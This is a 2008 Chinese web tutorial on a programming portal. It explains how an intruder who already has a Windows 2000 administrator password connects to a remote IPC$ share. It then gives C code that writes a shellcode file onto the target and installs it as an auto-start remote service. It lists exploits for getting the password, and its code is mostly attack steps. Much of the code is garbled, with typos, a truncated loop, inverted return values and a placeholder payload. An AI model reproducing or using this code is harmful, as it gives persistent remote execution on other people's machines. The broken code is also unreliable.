网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > C/C++
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.CGI脚本入门学习.
.2004年计算机等级考试二级C语言试.
.Linux 操作系统下的串行口通讯编.
.用OLE操作Excel.
.C++启蒙之用C++制作程序.
.C程序设计例解(03).
.C++类的分解,抽象类与纯虚函数的.
.用C语言编写Windows服务程序的五.
.旋转的立体椭球(效果非常好).
.C++习题与解析-继承和派生.
.控制C++的内存分配.
.利用LLKM处理网络通信---对抗IDS.
.C++ SDK+Symbian开发入门之部署.
.控制台窗口界面的编程控制(四).
.小商品软件的加密方法.
.水滴石穿C语言之代码检查工具.
.C++习题与解析(重载-03).
.inno setup教程,强烈推荐用inno.
.API之设备场景函数.
.2001年9月基础知识知识和C语言程.

C\C++建立IPC连接之后续操作

发表日期:2008-3-8



  如何建立IPC连接呢?不用我说,大家都知道:

  net use \\ip\\ipc$ passWord /user:user。在这里,我们应想办法得到Administrator的权限的帐户和密码,方法有很多:

  ⑴流光扫描

  ⑵NULL.printer缓冲区溢出

  ⑶MS SQL空密码

  ⑷Unicode漏洞

  ⑸远程终端输入法漏洞

  ⑹idq.dll漏洞

  ……太多了!具体方法我就不说了。

  得到Windows 2k administrator权限以后,可以做什么呢?想做什么就做什么呗!装什么服务的,当然是自己写的服务程序啦!你看s如何呢?下面就从编程的角度的来谈谈,读者要有一定的网络编程基础,同时有的地方没给出错误检查,有部分代码是参考别人的。一些函数和结构请参考MSDN。不足之处还请读者自己完善,也可以和我交流:heavyd@cngale.com。下面请看:

  1、如何建立IPC连接,请看以下代码:

BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
{ char tmp[128]="\\\\";
 strcat(tmp,RemoteName);
 strcat(tmp,"\\ipc$");
 NETRESOUCE NetResouce;
 NetResouce.lpRemoteName=tmp;
 NetResouce.dwType=RESOURCETYPE_ANY;
 NetResouce.lpProvider=NULL;
 if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
  //建立连接!
  return FALSE;
 else
  return TRUE;
}
  是不是很简单?对!就这么简单!那么,接着来吧!

  2、开始把程序写到主机上吧!

BOOL SendFile(char *RemotePathAndFile)
{
 HANDLE hRF;
 unsigned char ShellCode[]="write code here,such as \x90\x90";
 int WrittenSize=0;
 int Lenth=sizeof(ShellCode);
 hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
 CREATE_ALWAYS,
 FILE_ATTRIBUTE_NORMAL,
 NUL L);//建立文件
if (hRF==INVALID_HANDLE_values) return FALSE;
//写文件过程:
for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
return FALSE;
Printf("Send file succeed!\n");
}

  3、就要成功了,最后一步啦!--启动服务!

  步骤:a、启动服务控制治理器(SCM),获得以SCM_HANDLE为类型的hSCM句柄;

     b、建立服务(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

     c、启动服务(StartService)

     d、顺便提提:ControService可以控制服务的状态

     如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

       //停止服务

       ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

       //暂停服务

  请看下面代码:

BOOL InstallService(char * Target,char * ServiceName,char * Filename,)

{
SC_HANDLE hSCM=NULL,hSCS=NULL;
SERVICE_STATUS ServiceStatus;
hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_Access);
hSCS=CreateService(hSCM, //句柄
ServiceName,//服务开始名
ServiceName,//显示服务名
SERVICE_ALL_ACCESS,//服务访问类型
SERVICE_WIN32_OWN_PROCESS,//服务类型
SERVICE_AUTO_START,//自动启动服务
SERVICE_ERROR_IGNORE,//忽略错误
FileName,//启动的文件名
NULL,//name of load ordering group (载入组名)
NULL,//标签标识符
NULL,//相关性数组名
NULL,//帐户(当前)
NULL);//密码(当前)

if(StartServic(hSCS,
argc,//参数数
argv);//参数
{
 Sleep(30);//延时,开始启动服务
while(QueryServiceStatus(hSCS,&ServiceStatus)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
Sleep(30);
else break;
}
if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
return TRUE;
else FALSE;
}
}

  好了,终于完成了这三步,大家可以慢慢享受自己的劳动成果了!

  注重:以上程序仅供参考,请在自己理解以后自己把它们写成完整的程序,不要直接照搬!



上一篇:C++中用vectors改进内存的再分配 人气:671
下一篇:用C++实现跨平台游戏开发之Irrlicht引擎 人气:890
浏览全部C/C++的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐